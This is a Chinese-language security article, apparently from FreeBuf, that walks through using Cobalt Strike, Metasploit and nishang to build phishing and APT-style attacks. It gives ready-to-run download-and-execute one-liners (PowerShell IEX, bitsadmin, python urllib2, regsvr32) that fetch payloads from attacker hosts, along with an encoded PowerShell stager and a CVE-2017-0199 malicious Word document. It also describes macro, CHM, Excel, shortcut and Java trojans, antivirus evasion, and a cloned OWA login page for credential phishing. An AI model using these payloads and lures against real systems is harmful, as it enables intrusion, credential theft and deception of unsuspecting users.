*本文原创作者:mx7krshell,本文属FreeBuf原创奖励计划,未经许可禁止转载
*有些截图IP不统一是因为我有空的时候写有时不在同一个网络下所以分配的IP地址会不一样。接触这个挺长时间的如果时间长了不用会忘记第一次投稿求不喷。 哪里说错请指正,谢谢。文章太长,编辑中可能会有遗漏点。
经常看到披露出来APT(Advanced Persistent Threat) 高级持续性威胁报告,据目前我所了解到的有常用两种攻击手法还有更多种手法水坑式攻击和鱼叉式钓鱼邮件攻击手法。其实我也想模仿这样攻击手法在渗透时候遇到有些目标简直是无从下手。很早之前就接触了Metasploit工具内网渗透非常强大,当时用过Cobalt Strike 2.0版本主要是结合Metasploit可以称为图形化MSF工具。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用。
Cobalt Strike集成了端口转发、扫描多模式端口监听Windows exe木马,生成Windows dll(动态链接库)木马,生成java木马,生成office宏病毒,生成木马捆绑钓鱼攻击,包括站点克隆目标信息获取java执行浏览器自动攻击等等。
360评价APT-TOCS攻击尽管看起来已经接近APT水准的攻击能力,但并非更多依赖攻击团队自身的能力,而是依托商业的自动化攻击测试平台来达成。
Cobalt Strike https://www.cobaltstrike.com
Kali Linux https://www.kali.org
Metasploit Framework https://www.metasploit.com
PowerSplit https://github.com/mattifestation/PowerSploit
PiwerTools https://github.com/PowerShellEmpire/PowerTools
Veil Evasion Framework https://github.com/Veil-Framework/Veil-Evasion
Cobalt Strike分为客户端和服务端可分布式操作可以协同作战。但一定要架设在外网上。当然你知道利用这款工具主要用于内网渗透以及APT攻击。
Team Server Setup
启动服务./teamserver 192.168.3.11 password
通过客户端来连接Cobalt Strike提供了linux以及windows下的客户端
当攻击目标在控制台所操作的指令都会被记录到保留在Cobalt Strike目录logs下
ps破解版是无法更新的。
Cobalt Strike
Preferences
Perferences设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization
其实也就是工具拦上的三个图标,主要输出结果的形式。
VPN Interfaces设置VPN接口。后面详细讲解。
Listenrs
使用Cobalt Strike首先需要创建一个Listener,依次点击 Cobalt Strike -> Listeners 然后点击Add便可以创建自己想要的Listeners“Cobalt Strike3.0通过官网查询官方给出的解释是没有Linux监控的意思是不能控Linux机器除了以下标为x86/x64其它只支持32位
windows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_http x86/x64windows/beacon_http/reverse_http x86/x64windows/beacon_https/reverse_https x86/x64windows/beacon_smb/bind_pipe x86/x64windows/foreign/reverse_dns_txtwindows/foreign/reverse_httpwindows/foreign/reverse_httpswindows/foreign/reverse_tcp
先演示简单例子这里来生成一个PowerShell可以获得一个权限这里通过实验机来访问
Attack -> Web Drive-by -> Scripted Web Delivery
这里选择通过PowerShell执行在win2003 x64位以上都有PowerShell这个功能
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('[[http://192.168.1.117:80/a](http://192.168.1.117:80/a)]([http://192.168.1.117:80/a](http://192.168.1.117:80/a))'))"
这里生成我们的PowerShell,用实验机访问。
通常被控制的主机每60秒发送一心跳如果平常不用基本是没有什么流量。
主要是通过HTTP GET请求这里我通过抓取进程包可以看到传输的内容经过加密。192.168.4.100:9987则服务端创建监听的端口。
为了可以更加隐蔽性还可以自己导入https证书以及dns通讯
Applications -> 获取浏览器版本信息
Credentials -> 凭证当通过hashdump或者Mimikatz抓取过的密码都会储存在这里。
Downloads -> 下载文件Event Log -> 主机上线记录以及团队协作聊天记录
Keystrokes -> 键盘记录
Proxy Pivots -> 代理模块
Screenshots -> 进程截图
Script Console -> 控制台
Targets -> 显示目标
Web Log -> Web访问记录
通常我的目标安全设置的非常变态、常规的渗透手法都还没找出口子时就可以利用此方法来突破。当我的目标只是一个邮箱时我根本无法从社工下手获得我想要的东西就可以利用此方法来突破。
发送恶意邮件给内部企业人员获取内部一定权限进行内网渗透。
Packages
这些模块主要来生成Payload
HTML Application
生成一个网页Payload 这里经过我测试生成的木马好像只有在IE上测试成功如果是其它浏览器会被拦截或被识别木马。
有三种执行模式一种是平常的exe执行、其它通过PowerShell和VBA来执行木马。达到控制这台主机权限。会生成一个evil.hta文件,配合Attacks -> Web Drive-By -> Host File利用。
OFFICE OLE2LINKCVE-2017-0199
在之前写Cobalt Strike的时候以为hta这种方式没有什么卵用而看到了这个漏洞后自己的想法太可笑了。这里主要复现一下过程复现的方法有好多种也有别人写好的Python脚本也有需要配置一些复杂的Apache才能实现但这里我利用外网的Metasploit脚本自动生成。
下载利用脚本
新版本Metasploit脚本的路径:
/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.14.8/modules/exploits/windows/fileformat/wget https://raw.githubusercontent.com/nixawk/metasploit-framework/3d082814cbedc065f329498b9c6fb7951f8ebbd5/modules/exploits/windows/fileformat/office_word_hta.rb
下载rtf文件到:
/opt/metasploit/apps/pro/vendor/bundle/ruby/2.3.0/gems/metasploit-framework-4.14.8/modules/exploits/windows/fileformat/
wget https://raw.githubusercontent.com/nixawk/metasploit-framework/3d082814cbedc065f329498b9c6fb7951f8ebbd5/modules/exploits/windows/fileformat/office_word_hta.rb
重新加载模块reload_all
生成EXPLOIT文档
msf > use exploit/windows/fileformat/office_word_hta msf exploit(office_word_hta) > show options msf exploit(office_word_hta) > set FILENAME msf.doc
msf exploit(office_word_hta) > set TARGETURI [http://11.1.1.1/t.hta](http://11.1.1.1/t.hta) msf exploit(office_word_hta) > run
这里的t.hta可以通过Cobalt Strike来生成因为上线控制比较方便。当对方单击word文档就会提示上线。
MS Office Macro
Attacks -> Packages -> MS Office Macro -> Copy
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
.... 略
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
生成以下代码放入到Word宏里面
保存需另存为启用宏Word文档
这里会提示启用宏这时候你就要靠你的心理学还是其它手段让你的目标启用宏但多数一般的电脑白痴都不知道宏是什么。成功率还是有的但不会太高。
Payload Generator
生成各类语言的shellcode
这里生成的ShellCodes可以通过Veil Evasion Framework免杀框架来达到免杀目的
Windows Executable
生成可执行文件
Windows Executable(s)
生成可执行文件还有powershell以及动态链接库
Web Drive-by
Manage
主要管理我们所创建的Payload以及各类PowerShell管理地址
Clone Site
克隆网站还可以通过克隆的网站实现钓鱼。这里以某个OWA为实例
如果你没有设置System Profiler是没有任何信息的所以这里需要设置一下。当输入后回车会跳转到正常的网页上以免被发现。
Attacks -> Web Drive-by -> System Profiler
再重复第一个步骤
这里只是为了演示,当真正攻击时为了更加逼真,你需要注册相同类似的域名,比如www.taobao.xom、可以注册另类域名为www.ta0b0o.com类似。当目标输入用户名以及密码时。看我们的控制台:
当点登录后会跳转到原版网站上。
Host File
这是我最不看好的除了IE能触发外其它浏览器都会报毒IE还需要点运行才可执行。
先生成一个HTML Payload木马Attack -> Packages -> HTML Application
这里可以以三种方式执行木马。 但生成的格式是hta所以还是很容易被发现先生成保存在本地.
Attack -> Web Drive-By -> Host File
http://192.168.3.11:807/download/update.hta这是我们生成的木马。
需点击运行才会上线。 这种方法对付电脑白痴还有用但是现在的电脑白痴都用Google浏览器或其实的都不用ie
Scrihhc.exepted Web Delivery
生成一段可快速获取权限Payload的,有4种方法,常见的PowerShell,vista以上的系统才有PowerShell,其中Windows2003 x64版本也有PowerShell。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.4.102:80/a'))"
当我们的目标可能是Windows 2003 x86的时候,你没有办法使用PowerShell,这里给出了另外三种执行模式,通过bitsadmin命令下载、以及Python中的urllib2模块。
cmd.exe /c bitsadmin /transfer d0b7 http://192.168.4.102:80/b %APPDATA%\d0b7.exe&%APPDATA%\d0b7.exe&del %APPDATA%\d0b7.exe
python -c "import urllib2; exec urllib2.urlopen('http://192.168.4.102:80/c').read();"
Regsvr32命令用于注册动态链接库文件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。
regsvr32 /s /n /u /i:http://192.168.4.102:80/d scrobj.dll
制作CHM木马
Powershell是windows下面非常强大的命令行工具,并且在windows中Powershell可以利用.NET Framework的强大功能,也可以调用windows API,在win7/server 2008以后,powershell已被集成在系统当中。 除此之外,使用powershell能很好的bypass各种AV,在渗透测试中可谓是一个神器。此次使用的是开源的powershell脚本集nishang中的client来制作钓鱼文件。
在介绍怎么使用CHM来作为后门之前,首先要知道CMH是什么东西。CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并可以通过URL与Internet联系在一起。因为使用方便,形式多样也被采用作为电子书的格式。
可以使用EasyCHM来制作CHM文件
PowerShelld系统中禁止执行脚本解决方法:set-ExceutionPolicy RemoteSigned选择[Y]
导入模块:Import-Module .\Out-CHM.ps1
Out-CHM -PayloadURL http://192.168.4.102:88 -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
电脑没装hhc.exe通过http://www.microsoft.com/en-us/download/details.aspx?id=21138下载安装,否则会报错。
但是通过这种方法制作的chm文档,打开时会有黑屏闪过很容易被擦觉。Evi1cg大牛已经找到了方法并写好了利用工具。
通过rundll32.exe执行jsrundll32.exe javascript:”\..\mshtml,RunHTMLApplication “;alert(‘foo’);
rundll32是什么请阅读以下两篇文章:http://bobao.360.cn/learning/detail/164.htmlhttp://support.microsoft.com/kb/164787/
通过Scripted Web Delivery生成的PowerShell,取出木马地址。
工具用法:Python OutChm.py -r http://192.168.4.102:88 -o exp.chm
来看一下木马地址所生成的是什么:
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAL1X+2/ayBP/OfwV1imSbR3hnZRWilQDMeBiQjCvhENo8a7NhrWX2msevfZ/v/GDll7S++Z00hfJ0j5mZmc+88Qi4soSAbWFyTGRriYkCCn3pUoud9niXSHdSh/+QJhe5JOpXkeOktfx/NFETBeEaMcgHaISnKqbzQM/
...略
f7SFz1YVLMyR9zua4jnSEU0i8wtJPPUl2N579QoEBcPfMVTPhJG1QukSp172bSJZK+SVcAihZWKzDmB24U90Qp/dfyVdqDKQnjV2lIbAKj7JXBV9DrCIw2sehESEwMZ38B4j+QVgYNAAA="));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
经过编码的PowerShell,如果不是通过Cobalt Strike生成,也可以通过nishang的Invoke-Encode.ps1进行编码,有现成的工具这里不多此一举。
提示已上线通过这种办法制作的chm木马可以绕过大多数杀软包括360等但是实战的时候发现会被电脑管家发现。
这里我们所执行的chm文件通过rundll32.exe文件来执行PowerShell。
这里我还思路着另外一个问题当chm文档被执行时木马会上线但是如果目标把这个文件删掉我们的木马将也会被删除。这里会想当打开一个chm文档的时候自动把木迁移到其它进程上。
Tools Links:https://github.com/hackzx/OutCHMhttps://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1
制作Word木马
其实和Attacks -> MS Office Macro方法类似
PS C:\Users\Administrator\Desktop\nishang> Import-Module .\Client\Out-Word.ps1Out-Word使用方法查看源文件第3-108行使用方法。
Out-Word -Payload ‘加密代码’
以及
Out-Word -PayloadURL http://192.168.4.102:89/download/payload.ps1
其实这两种专景都各有用处比如我在某台机器里不允许访问网络可以使用第一种方法PowerShell有各种各样的内网渗透脚本这里不多介绍。
正常上线。
打开直接中招。可能是之前实例打开过启用宏。这个没有提示宏也没有报其它错误。但具体的日后还需要实战才能下定论。
制作Excel木马
用法:
PS C:\Users\Administrator\Desktop\nishang> Import-Module .\Client\Out-Excel.ps1
PS C:\Users\Administrator\Desktop\nishang> Out-Excel -PayloadURL http://192.168.4.102:89/download/payload.ps1
Saved to file C:\Users\Administrator\Desktop\nishang\Salary_Details.xls
0
制作快捷方式钓鱼文件
PS C:\Users\Administrator\Desktop\nishang> Import-Module .\Client\Out-Shortcut.ps1
PS C:\Users\Administrator\Desktop\nishang> Out-Shortcut -PayloadURL http://192.168.4.102:89/download/payload.ps1
The Shortcut file has been written as C:\Users\Administrator\Desktop\nishang\Shortcut to File Server.lnk
正常运行
OUT-JAV1
PS C:\Users\Administrator\Desktop\nishang> Out-Java -PayloadURL http://192.168.4.102:89/download/payload.ps1 -JDKPath "C
:\Program Files\Java\jdk1.8.0_31"
added manifest
adding: JavaPS.class(in = 1176) (out= 697)(deflated 40%)
jar signed.
Warning:
The signer certificate will expire within six months.
No -tsa or -tsacert is provided and this jar is not timestamped. Without a timestamp, users may not be able to validate
this jar after the signer certificate's expiration date (2017-07-01) or after any future revocation date.
对这个不看好。毕竟很多人电脑都没有装jdk
还有其它如果有遇到的场景我会继续更新
Signed Applet Attack
java攻击需要jdk1.6
Smart Applet Attack
java攻击jdk1.7以及1.6都会受到攻击
System Profiler
分析目标使用什么浏览器以及Adobe版本还有内部ip。
当目标访问的时候会跳转到百度所以不会被杀软发现。
这里收集信息是为了后期apt攻击用
这里可以前期信息收集所用因为这种方法杀软以及浏览器是无法检测出来的可以通过水坑式攻击来获取目标所用的软件以及操作系统来针对性的攻击。
Beacon可以选择通过DNS还是HTTP协议出口网络支持多主机连接。
Intercat
进入到控制台在beacon处输入help则可以看到详细说明
> Beacon Commands
Command Description
------- -----------
browserpivot Setup a browser pivot session
bypassuac Spawn a session in a high integrity process
cancel Cancel a download that's in-progress
cd Change directory
checkin Call home and post data
clear Clear beacon queue
covertvpn Deploy Covert VPN client
dcsync Extract a password hash from a DC
desktop View and interact with target's desktop
dllinject Inject a Reflective DLL into a process
download Download a file
downloads Lists file downloads in progress
drives List drives on target
elevate Try to elevate privileges
execute Execute a program on target
exit Terminate the beacon session
getsystem Attempt to get SYSTEM
getuid Get User ID
hashdump Dump password hashes
help Help menu
inject Spawn a session in a specific process
jobkill Kill a long-running post-exploitation task
jobs List long-running post-exploitation tasks
kerberos_ccache_use Apply kerberos ticket from cache to this session
kerberos_ticket_purge Purge kerberos tickets from this session
kerberos_ticket_use Apply kerberos ticket to this session
keylogger Inject a keystroke logger into a process
kill Kill a process
link Connect to a Beacon peer over SMB
logonpasswords Dump credentials and hashes with mimikatz
ls List files
make_token Create a token to pass credentials
mimikatz Runs a mimikatz command
mkdir Make a directory
mode dns Use DNS A as data channel (DNS beacon only)
mode dns-txt Use DNS TXT as data channel (DNS beacon only)
mode dns6 Use DNS AAAA as data channel (DNS beacon only)
mode http Use HTTP as data channel
mode smb Use SMB peer-to-peer communication
net Network and host enumeration tool
note Assign a note to this Beacon
portscan Scan a network for open services
powerpick Execute a command via Unmanaged PowerShell
powershell Execute a command via powershell.exe
powershell-import Import a powershell script
ps Show process list
psexec Use a service to spawn a session on a host
psexec_psh Use PowerShell to spawn a session on a host
psinject Execute PowerShell command in specific process
pth Pass-the-hash using Mimikatz
pwd Print current directory
rev2self Revert to original token
rm Remove a file or folder
rportfwd Setup a reverse port forward
runas Execute a program as another user
screenshot Take a screenshot
shell Execute a command via cmd.exe
shinject Inject shellcode into a process
sleep Set beacon sleep time
socks Start SOCKS4a server to relay traffic
socks stop Stop SOCKS4a server
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
steal_token Steal access token from a process
timestomp Apply timestamps from one file to another
unlink Disconnect from parent Beacon
upload Upload a file
wdigest Dump plaintext credentials with mimikatz
winrm Use WinRM to spawn a session on a host
wmi Use WMI to spawn a session on a host
可以快速通过命令来操作其实大多数都是通过图形化操作。
Access
hashdump
获取hash值可以通过
[[http://www.objectif-securite.ch/ophcrack.php](http://www.objectif-securite.ch/ophcrack.php)]([http://www.objectif-securite.ch/ophcrack.php](http://www.objectif-securite.ch/ophcrack.php))破解。
这种方法只能针对于Windows2003实用其Win2008开始读取到的hash值也是为空
Make Token
获取到的hash用户密码都会在此显示
Run mimikatz
Mimikatz是一个法国获取密码工具能直接获取到明文密码。其实获取密码只是他其中的一个功能。
Explore
browserpivot
用户注入受害者浏览器进程然后开启HTTP代理之后就可以登录受害者登录的网站了。
主机 -> Access -> Proces list
或直接输入browserpivot 进程号
浏览器设置192.168.1.117:35380
截取浏览器进程屏幕
View -> Screenshot
键盘记录
Pivoting
开启socks代理
vim /etc/proxychains.conf
Proxychanins firefox这样可以通过firefox访问内网网站
暂时是这些功能只有在实战中才能体会吧。另外招渗透 [email protected] (深圳)
着重感谢evi1cg 前辈 参考了他很多文章
https://evi1cg.me/archives/Powershell_client.html
http://www.labofapenetrationtester.com/2014_11_01_archive.html
http://wooyun.jozxing.cc/static/drops/news-15974.3html
http://wooyun.jozxing.cc/static/drops/papers-12315.html
http://wooyun.jozxing.cc/static/drops/papers-6332.html
http://wooyun.jozxing.cc/static/drops/tools-1475.html
https://github.com/rsmudge/cortana-scripts
https://evi1cg.me/archives/Cobalt_strike.html
https://evi1cg.me/archives/chm_backdoor.html
http://bobao.360.cn/learning/detail/164.html
*本文原创作者:mx7krshell,本文属FreeBuf原创奖励计划,未经许可禁止转载